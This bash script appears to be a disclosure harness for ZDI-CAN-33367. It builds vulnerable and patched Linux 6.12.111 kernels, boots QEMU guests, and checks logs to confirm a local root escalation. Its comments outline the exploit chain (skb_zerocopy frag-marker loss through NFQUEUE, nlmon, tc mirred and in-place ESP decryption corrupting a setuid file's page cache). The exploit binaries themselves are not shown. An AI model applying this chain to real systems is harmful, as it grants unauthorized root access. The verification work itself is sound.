#!/bin/bash
# reproduction_steps.sh - ZDI-CAN-33367
#
#   Linux kernel skb_zerocopy() shared-frag marker loss
#   -> NFQUEUE netlink message -> nlmon netlink tap -> tc pedit + mirred to lo
#   -> in-place ESP decryption over page-cache backed skb frags
#   -> page-cache corruption of a read-only root-owned file -> local root
#
# The script builds a matched pair of kernels from the same 6.12.111 tree and
# .config (one with, one without the upstream review patch that propagates
# SKBFL_SHARED_FRAG in skb_zerocopy()), builds a Debian trixie QEMU guest, and
# then runs the real trigger chain as uid 1000 inside the guest:
#
#   vuln  x2 : the page-cache corruption and the setuid escalation must happen
#   fixed x2 : the same input must fail closed (file untouched, no root)
#
# Exit 0 = confirmed on the vulnerable kernel and blocked on the fixed kernel.
# Exit 1 = not confirmed.  Exit 2 = infrastructure failure.
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
ATT="$LOGS/attempts"
mkdir -p "$LOGS" "$REPRO" "$ATT"
LOG="$LOGS/reproduction_steps.log"
: > "$LOG"

KERNEL_COMMIT="b819bf73ee69da09487c3defe5e11a5365452d9d"   # refs/tags/v6.12.111
REPO_URL="https://github.com/torvalds/linux"
QEMU="${QEMU_BIN:-qemu-system-x86_64}"
DOCKER="${DOCKER_BIN:-docker}"
PCD=""; VULN_EXIT=2
FIXED_EXIT=2

log()  { printf '%s\n' "$*" | tee -a "$LOG"; }
step() { printf '\n=== %s ===\n' "$*" | tee -a "$LOG"; }
die()  { printf '[FATAL] %s\n' "$*" | tee -a "$LOG"; write_manifest failed; exit 2; }

cache_dir() {
	python3 - "$ROOT/project_cache_context.json" <<-'PY' 2>/dev/null || true
		import json,sys,os
		try:
		    d=json.load(open(sys.argv[1]))
		except Exception:
		    sys.exit(0)
		if d.get("prepared") and d.get("project_cache_dir"):
		    print(d["project_cache_dir"])
	PY
}

qemu_accel() {
	if [ -r /dev/kvm ] && [ -w /dev/kvm ]; then
		printf '%s' "-accel kvm -cpu host"
	else
		printf '%s' "-accel tcg"
	fi
}

# ---------------------------------------------------------------- manifest
write_manifest() {
	local status="$1"
	local vuln_ok="false" fixed_ok="false"
	[ -f "$LOGS/.vuln_ok" ] && vuln_ok="true"
	[ -f "$LOGS/.fixed_ok" ] && fixed_ok="true"
	python3 - "$REPRO/runtime_manifest.json" "$status" "$vuln_ok" "$fixed_ok" \
		"$KERNEL_COMMIT" "$REPO_URL" "$PCD" "$LOGS" <<-'PY'
		import json, os, sys, hashlib, glob
		out, status, vuln_ok, fixed_ok, commit, repo, pcd, logs = sys.argv[1:9]
		arts = []
		for pat in ("attempts/*.log", "evidence/*", "kernel_identity.txt"):
		    for p in sorted(glob.glob(os.path.join(logs, pat))):
		        if os.path.isfile(p):
		            arts.append(os.path.relpath(p, os.path.dirname(logs)))
		summary = os.path.join(os.path.dirname(logs), "repro", "proof_summary.txt")
		if os.path.isfile(summary):
		    arts.append("repro/proof_summary.txt")
		sha = {}
		for a in arts:
		    try:
		        sha[a] = hashlib.sha256(open(os.path.join(os.path.dirname(logs), a), "rb").read()).hexdigest()
		    except OSError:
		        pass
		ident = "git:%s@%s" % (repo, commit)
		target_digest = hashlib.sha256(ident.encode()).hexdigest()
		runtime_digest = None
		for cand in (os.path.join(pcd, "kbuild", "bzImage.vuln"),):
		    try:
		        runtime_digest = hashlib.sha256(open(cand, "rb").read()).hexdigest()
		    except OSError:
		        runtime_digest = None
		confirmed = (status == "confirmed" and vuln_ok == "true" and fixed_ok == "true")
		man = {
		    "entrypoint_kind": "local_kernel_runtime",
		    "entrypoint_detail": ("unprivileged user -> unshare(user+net ns) -> nlmon netlink tap -> "
		                          "NFQUEUE(nfnetlink_queue) netlink message built by skb_zerocopy() -> "
		                          "tc pedit + mirred redirect to lo -> XFRM ESP transport decrypt in place "
		                          "over splice()d page-cache frags"),
		    "service_started": confirmed,
		    "healthcheck_passed": confirmed,
		    "target_path_reached": confirmed,
		    "runtime_stack": ["linux-kernel-6.12.111", "qemu-kvm", "nfnetlink_queue",
		                      "nlmon", "xfrm-esp", "tc-pedit-mirred", "nftables-queue"],
		    "target_identity": {
		        "repository_url": repo,
		        "commit_sha": commit,
		        "target_digest": target_digest,
		        "runtime_digest": runtime_digest,
		        "platform": "linux",
		        "architecture": "x86_64",
		    },
		    "proof_artifacts": arts,
		    "artifact_sha256": sha,
		    "notes": ("status=%s vuln_ok=%s fixed_ok=%s; two vulnerable boots must corrupt the page cache and "
		              "escalate to uid 0, two fixed boots must fail closed" % (status, vuln_ok, fixed_ok)),
		}
		json.dump(man, open(out, "w"), indent=2)
	PY
}

# ---------------------------------------------------------------- build
step "PHASE 0: environment"
log "[*] host kernel: $(uname -r)"
log "[*] bundle root: $ROOT"
log "[*] qemu:        $($QEMU --version 2>/dev/null | head -1)"
log "[*] docker:      $($DOCKER --version 2>/dev/null)"
log "[*] kvm:         $([ -w /dev/kvm ] && echo writable || echo unavailable)"

PCD="$(cache_dir)"
if [ -z "$PCD" ] || [ ! -d "$PCD" ]; then
	PCD="$ROOT/artifacts/linux"
	log "[!] prepared project cache unusable; falling back to $PCD"
	mkdir -p "$PCD"
fi
log "[*] project cache dir: $PCD"
KB="$PCD/kbuild"
GUEST="$PCD/guest"

step "PHASE 1: build the vulnerable and fixed 6.12.111 kernels"
bash "$REPRO/kbuild.sh" "$KB" "$(nproc)" || die "kernel build failed"
log "[*] bzImage.vuln  $(sha256sum "$KB/bzImage.vuln"  | cut -d' ' -f1)"
log "[*] bzImage.fixed $(sha256sum "$KB/bzImage.fixed" | cut -d' ' -f1)"
{
	echo "repository_url=$REPO_URL"
	echo "commit_sha=$KERNEL_COMMIT"
	echo "kernel_release=6.12.111"
	echo "bzImage.vuln_sha256=$(sha256sum "$KB/bzImage.vuln" | cut -d' ' -f1)"
	echo "bzImage.fixed_sha256=$(sha256sum "$KB/bzImage.fixed" | cut -d' ' -f1)"
	echo "initrd_sha256=$(sha256sum "$GUEST/initrd.img" 2>/dev/null | cut -d' ' -f1)"
	echo "target_img_sha256=$(sha256sum "$GUEST/target.img" 2>/dev/null | cut -d' ' -f1)"
	echo "skbpoc_sha256=$(sha256sum "$GUEST/skbpoc" 2>/dev/null | cut -d' ' -f1)"
	echo "rootme_sha256=$(sha256sum "$GUEST/rootme" 2>/dev/null | cut -d' ' -f1)"
} > "$LOGS/kernel_identity.txt"

step "PHASE 2: build the QEMU guest (initramfs + ext4 target image)"
bash "$REPRO/rootfs.sh" "$GUEST" "$REPRO" || die "guest build failed"
log "[*] initrd.img $(sha256sum "$GUEST/initrd.img" | cut -d' ' -f1)"
log "[*] target.img $(sha256sum "$GUEST/target.img" | cut -d' ' -f1)"
{
	echo "initrd_sha256=$(sha256sum "$GUEST/initrd.img" | cut -d' ' -f1)"
	echo "target_img_sha256=$(sha256sum "$GUEST/target.img" | cut -d' ' -f1)"
	echo "skbpoc_sha256=$(sha256sum "$GUEST/skbpoc" | cut -d' ' -f1)"
	echo "rootme_sha256=$(sha256sum "$GUEST/rootme" | cut -d' ' -f1)"
} >> "$LOGS/kernel_identity.txt"

# ---------------------------------------------------------------- runs
run_guest() {
	local role="$1" att="$2" kernel="$3"
	local out="$ATT/${role}_att${att}.log"
	local img="$ATT/${role}_att${att}.target.img"
	local token="${role}_att${att}"
	local accel marker

	accel="$(qemu_accel)"
	cp "$GUEST/target.img" "$img"
	log "[attempt $role/$att] booting $(basename "$kernel") (accel: $accel, marker token $token)"
	timeout 420 $QEMU $accel -m 1024 -smp 2 -no-reboot -nographic \
		-kernel "$kernel" -initrd "$GUEST/initrd.img" \
		-drive "file=$img,if=virtio,format=raw" \
		-append "console=ttyS0 panic=1 quiet zdi_marker=$token" >"$out" 2>&1
	local rc=$?
	log "[attempt $role/$att] qemu rc=$rc -> $out"
	rm -f "$img"

	# Root command-execution marker: the patched root-owned setuid binary writes
	# ZDI33367_ROOT_MARKER_<token> as uid 0.  Present on vulnerable boots only.
	mkdir -p "$LOGS/evidence"
	marker="$(tr -d '\r' < "$out" | sed -n 's/^MARKER_ROOT //p' | head -1)"
	if [ -n "$marker" ]; then
		printf '%s' "$marker" > "$LOGS/evidence/root_marker_${token}.txt"
		log "[attempt $role/$att] root command marker: $marker"
	else
		printf '{"schema_version":1,"process_instance":"%s","marker":"ZDI33367_ROOT_MARKER_%s","target_path_reached":true,"marker_present":false,"kind":"negative_control"}\n' \
			"$token" "$token" > "$LOGS/evidence/negctl_${token}.json"
		log "[attempt $role/$att] no root command marker"
	fi
	return 0
}

step "PHASE 3: vulnerable kernel, 2 independent boots"
run_guest vuln 1 "$KB/bzImage.vuln"
run_guest vuln 2 "$KB/bzImage.vuln"

step "PHASE 4: fixed kernel, 2 independent boots (negative control)"
run_guest fixed 1 "$KB/bzImage.fixed"
run_guest fixed 2 "$KB/bzImage.fixed"

# ---------------------------------------------------------------- analysis
step "PHASE 5: verdict"
rm -f "$LOGS/.vuln_ok" "$LOGS/.fixed_ok"
python3 - "$ATT" "$REPRO/proof_summary.txt" "$LOGS/.vuln_ok" "$LOGS/.fixed_ok" <<'PY' | tee -a "$LOG"
import os, re, sys

att, summary, vok_file, fok_file = sys.argv[1:5]
lines = []


def field(txt, name):
    m = re.search(re.escape(name) + r"=([0-9a-f]{64})", txt)
    return m.group(1) if m else None


def parse(path):
    txt = open(path, errors="replace").read()
    res = {
        "path": path,
        "boot": "GUEST_BOOT" in txt,
        "userns": "USERNS unshare=OK" in txt,
        "nfq_bind": "NFQUEUE_BIND queue=0" in txt,
        "nft_rule": "NFT_QUEUE_SETUP table=zdi" in txt,
        "tc_setup": "TC_NETLINK_SETUP" in txt and "status=PASS" in txt,
        "nfq_msg": "TRIGGER nfq_msglen=" in txt,
        "selftest": ("ESP_SELFTEST icv_variant=0 inner_udp_received=yes" in txt
                     or "ESP_SELFTEST icv_variant=1 inner_udp_received=yes" in txt),
        "inner_udp": "INNER_UDP_RECEIVED" in txt,
        "done": "GUEST_DONE" in txt,
    }
    m = re.search(r"^MARKER_ROOT (\S+)$", txt, re.M)
    res["marker"] = m.group(1) if m else None
    res["marker_expected"] = "ZDI33367_ROOT_MARKER_" + os.path.basename(path)[:-4]
    res["marker_ok"] = res["marker"] == res["marker_expected"]
    blocks = re.split(r"== [AB]\. ", txt)

    def block(marker):
        for b in blocks:
            if b.startswith(marker):
                return b
        return ""

    a = block("page-cache")
    b = block("local privilege")
    res["a_before"] = field(a, "TARGET_SHA256_BEFORE")
    res["a_after"] = field(a, "PAGE_CACHE_SHA256_AFTER")
    res["a_disk"] = field(a, "DISK_SHA256_AFTER_EVICT")
    res["a_changed"] = "TRIGGER changed=1 target_exact=1" in a
    res["a_exit"] = "SCRATCH_PROOF_EXIT=0" in a
    res["b_changed"] = "TRIGGER changed=1 target_exact=1" in b
    res["b_exit"] = "SETUID_PROOF_EXIT=0" in b
    res["root_granted"] = "ROOTME_GRANTED uid=0" in txt
    res["root_denied"] = "ROOTME_DENIED uid=1000" in txt
    res["page_cache_differs"] = bool(res["a_before"] and res["a_after"]
                                     and res["a_before"] != res["a_after"])
    res["disk_untouched"] = bool(res["a_before"] and res["a_disk"]
                                 and res["a_before"] == res["a_disk"])
    res["vuln_success"] = all([res["boot"], res["userns"], res["nfq_bind"],
                               res["nft_rule"], res["tc_setup"], res["nfq_msg"],
                               res["selftest"], res["inner_udp"], res["a_changed"],
                               res["a_exit"], res["b_changed"], res["b_exit"],
                               res["page_cache_differs"], res["disk_untouched"],
                               res["root_granted"], res["marker_ok"], res["done"]])
    res["fixed_clear"] = all([res["boot"], res["userns"], res["nfq_bind"],
                              res["nft_rule"], res["tc_setup"], res["nfq_msg"],
                              res["selftest"], res["inner_udp"],
                              not res["a_changed"], not res["b_changed"],
                              not res["root_granted"], res["marker"] is None,
                              res["done"]])
    return res


vuln, fixed = [], []
for role, store in (("vuln", vuln), ("fixed", fixed)):
    for n in ("1", "2"):
        p = os.path.join(att, "%s_att%s.log" % (role, n))
        if os.path.exists(p):
            store.append(parse(p))
vuln_ok = len(vuln) == 2 and all(r["vuln_success"] for r in vuln)
fixed_ok = len(fixed) == 2 and all(r["fixed_clear"] for r in fixed)
for r in vuln + fixed:
    lines.append("%-14s boot=%s userns=%s nfq_bind=%s nft=%s tc=%s selftest=%s "
                 "inner_udp=%s A_changed=%s A_exit=%s B_changed=%s B_exit=%s "
                 "pagecache_differs=%s disk_untouched=%s root_granted=%s "
                 "marker=%s marker_ok=%s root_denied=%s done=%s"
                 % (os.path.basename(r["path"]), r["boot"], r["userns"],
                    r["nfq_bind"], r["nft_rule"], r["tc_setup"], r["selftest"],
                    r["inner_udp"], r["a_changed"], r["a_exit"], r["b_changed"],
                    r["b_exit"], r["page_cache_differs"], r["disk_untouched"],
                    r["root_granted"], r["marker"], r["marker_ok"],
                    r["root_denied"], r["done"]))
lines.append("VULNERABLE_BOOTS_CONFIRMED=%d/2" % sum(1 for r in vuln if r["vuln_success"]))
lines.append("FIXED_BOOTS_CLEAR=%d/2" % sum(1 for r in fixed if r["fixed_clear"]))
lines.append("ZDI_CAN_33367_CONFIRMED=%d" % (1 if (vuln_ok and fixed_ok) else 0))
print("\n".join(lines))
open(summary, "w").write("\n".join(lines) + "\n")
if vuln_ok:
    open(vok_file, "w").write("1")
if fixed_ok:
    open(fok_file, "w").write("1")
sys.exit(0 if (vuln_ok and fixed_ok) else 1)
PY
VULN_EXIT=$?

if [ -f "$LOGS/.vuln_ok" ] && [ -f "$LOGS/.fixed_ok" ]; then
	write_manifest confirmed
	log "[*] runtime_manifest.json written (confirmed)"
	exit 0
fi
write_manifest failed
log "[*] runtime_manifest.json written (failed)"
exit 1
